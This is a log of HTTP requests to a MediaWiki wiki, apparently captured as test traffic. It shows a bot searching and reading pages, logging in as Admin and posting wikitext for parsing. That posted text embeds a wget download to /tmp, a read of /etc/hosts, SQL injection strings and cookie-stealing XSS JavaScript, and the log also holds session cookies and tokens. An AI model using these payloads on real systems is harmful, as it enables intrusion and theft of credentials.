{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.preferences.styles.ooui%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.styles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Coojs-ui-windows%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.editfont.styles%7Cmediawiki.htmlform.ooui%7Cmediawiki.languageselector.core%2Clookup%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.preferences.ooui%7Cmediawiki.widgets.LanguageSelectWidget%2CSelectWithInputWidget%2CUsersMultiselectWidget%2CvisibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1vc9l", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Preferences", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:UserLogout&returnto=Main+Page", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserLogout", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogout&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": "title=Special%3AUserLogout&wpEditToken=d8d2eb46967072943325a81909a240c96af22684%2B%5C&returnto=Main+Page&redirectparams=returnto%3DMain%2BPage"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserLogout", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&format=json&aplimit=50", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&format=json", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=Lighthouse&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=Lighthouse&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=Lighthouse&apprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Lighthouse+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Lighthouse+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=Lighthouse&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=Lighthouse&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Lighthouse_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=python3&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=python3&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=python3&apprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Python3+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Python3+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=python3&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=python3&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=powershell&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=powershell&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=powershell&apprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Powershell+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Powershell+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=powershell&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=powershell&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=ls+-la&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=ls+-la&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=ls+-la&apprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Ls+-la+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Ls+-la+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=ls+-la&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=ls+-la&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=.htaccess&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=.htaccess&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=.htaccess&apprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=.htaccess+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=.htaccess+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=.htaccess&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=.htaccess&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=usercontribs&ucuser=Admin&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=recentchanges&rcprop=title%7Cuser%7Ccomment&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=siteinfo&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 189", "Host: example.com", "Cookie: my_wiki_session=vi74m7k2rob8ksr0947hnvb80259kg94", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=clientlogin&username=Admin&password=Example-pass-2026&loginreturnurl=http%3A%2F%2Fexample.com%2F&logintoken=e62ac171de98ca0ccac8d8b9829521566af226a3%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1599", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+Lighthouse+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1676", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": 